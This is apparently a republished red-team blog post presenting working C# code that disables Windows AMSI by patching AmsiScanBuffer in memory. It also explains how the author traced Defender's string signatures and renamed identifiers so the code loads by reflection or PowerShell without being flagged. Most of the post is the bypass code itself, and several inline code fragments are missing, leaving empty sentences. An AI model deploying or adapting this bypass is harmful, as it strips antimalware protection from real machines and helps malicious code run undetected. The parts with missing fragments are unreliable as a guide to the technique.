( Original text by @_RastaMouse )
Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.
Please read these for all the technical details — we’re launching this post with the C# code from Andre:
<span class="keyword">using</span> System;
<span class="keyword">using</span> System.Runtime.InteropServices;
<span class="keyword">namespace</span> Bypass
{
<span class="keyword">public</span> <span class="keyword">class</span> AMSI
{
[DllImport(<span class="string">"kernel32"</span>)]
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">GetProcAddress</span><span class="params">(IntPtr hModule, <span class="built_in">string</span> procName)</span></span>;
[DllImport(<span class="string">"kernel32"</span>)]
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">LoadLibrary</span><span class="params">(<span class="built_in">string</span> name)</span></span>;
[DllImport(<span class="string">"kernel32"</span>)]
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">bool</span> <span class="title">VirtualProtect</span><span class="params">(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)</span></span>;
[DllImport(<span class="string">"Kernel32.dll"</span>, EntryPoint = <span class="string">"RtlMoveMemory"</span>, SetLastError = <span class="literal">false</span>)]
<span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">void</span> <span class="title">MoveMemory</span><span class="params">(IntPtr dest, IntPtr src, <span class="keyword">int</span> size)</span></span>;
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">Disable</span><span class="params">()</span>
</span>{
IntPtr TargetDLL = LoadLibrary(<span class="string">"amsi.dll"</span>);
<span class="keyword">if</span> (TargetDLL == IntPtr.Zero)
{
Console.WriteLine(<span class="string">"ERROR: Could not retrieve amsi.dll pointer."</span>);
<span class="keyword">return</span> <span class="number">1</span>;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, <span class="string">"AmsiScanBuffer"</span>);
<span class="keyword">if</span> (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine(<span class="string">"ERROR: Could not retrieve AmsiScanBuffer function pointer"</span>);
<span class="keyword">return</span> <span class="number">1</span>;
}
UIntPtr dwSize = (UIntPtr)<span class="number">5</span>;
uint Zero = <span class="number">0</span>;
<span class="keyword">if</span> (!VirtualProtect(AmsiScanBufferPtr, dwSize, <span class="number">0x40</span>, out Zero))
{
Console.WriteLine(<span class="string">"ERROR: Could not change AmsiScanBuffer memory permissions!"</span>);
<span class="keyword">return</span> <span class="number">1</span>;
}
<span class="comment">/*
* This is a new technique, and is still working.
* Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/</span>
Byte[] Patch = { <span class="number">0x31</span>, <span class="number">0xff</span>, <span class="number">0x90</span> };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">3</span>);
Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">3</span>);
MoveMemory(AmsiScanBufferPtr + <span class="number">0x001b</span>, unmanagedPointer, <span class="number">3</span>);
Console.WriteLine(<span class="string">"AmsiScanBuffer patch has been applied."</span>);
<span class="keyword">return</span> <span class="number">0</span>;
}
}
}
I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:
We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.
So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.
I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.
I had some suspects in mind, such as:
-
IntPtr TargetDLL = LoadLibrary("amsi.dll");
<- Maybe just loading AMSI is bad, but unlikely.
-
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
<- Finding the address of AmsiScanBuffer.
-
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
<- Modifying the permissions of a memory region.
And pretty much all of this…
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.
To simplfy the process, I shortened the code a bit more by removing the
statements and removing console output. So my version became:
<span class="keyword">using</span> System;
<span class="keyword">using</span> System.Runtime.InteropServices;
<span class="keyword">namespace</span> Bypass
{
<span class="keyword">public</span> <span class="keyword">class</span> AMSI
{
[DllImport(<span class="string">"kernel32"</span>)]
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">GetProcAddress</span><span class="params">(IntPtr hModule, <span class="built_in">string</span> procName)</span></span>;
[DllImport(<span class="string">"kernel32"</span>)]
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> IntPtr <span class="title">LoadLibrary</span><span class="params">(<span class="built_in">string</span> name)</span></span>;
[DllImport(<span class="string">"kernel32"</span>)]
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">bool</span> <span class="title">VirtualProtect</span><span class="params">(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect)</span></span>;
[DllImport(<span class="string">"Kernel32.dll"</span>, EntryPoint = <span class="string">"RtlMoveMemory"</span>, SetLastError = <span class="literal">false</span>)]
<span class="function"><span class="keyword">static</span> <span class="keyword">extern</span> <span class="keyword">void</span> <span class="title">MoveMemory</span><span class="params">(IntPtr dest, IntPtr src, <span class="keyword">int</span> size)</span></span>;
<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">Disable</span><span class="params">()</span>
</span>{
IntPtr TargetDLL = LoadLibrary(<span class="string">"amsi.dll"</span>);
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, <span class="string">"AmsiScanBuffer"</span>);
UIntPtr dwSize = (UIntPtr)<span class="number">5</span>;
uint Zero = <span class="number">0</span>;
VirtualProtect(AmsiScanBufferPtr, dwSize, <span class="number">0x40</span>, out Zero);
Byte[] Patch = { <span class="number">0x31</span>, <span class="number">0xff</span>, <span class="number">0x90</span> };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(<span class="number">3</span>);
Marshal.Copy(Patch, <span class="number">0</span>, unmanagedPointer, <span class="number">3</span>);
MoveMemory(AmsiScanBufferPtr + <span class="number">0x001b</span>, unmanagedPointer, <span class="number">3</span>);
<span class="keyword">return</span> <span class="number">0</span>;
}
}
}
Eventually, I found only 3 lines were causing the alerts.
,
and
.
The one thing they all have in common…? Yep, the string (or substring)
!
You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting
also flags, but others like
or
are fine.
But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.
This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do
without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.
<span class="variable">$Ref</span> = (
[...]
)
<span class="variable">$Source</span> = @<span class="string">"
[...]
"</span>@
Add-Type [...]
Of course, this is relatively straight forward to fix.
becomes
.
becomes
.
becomes
.
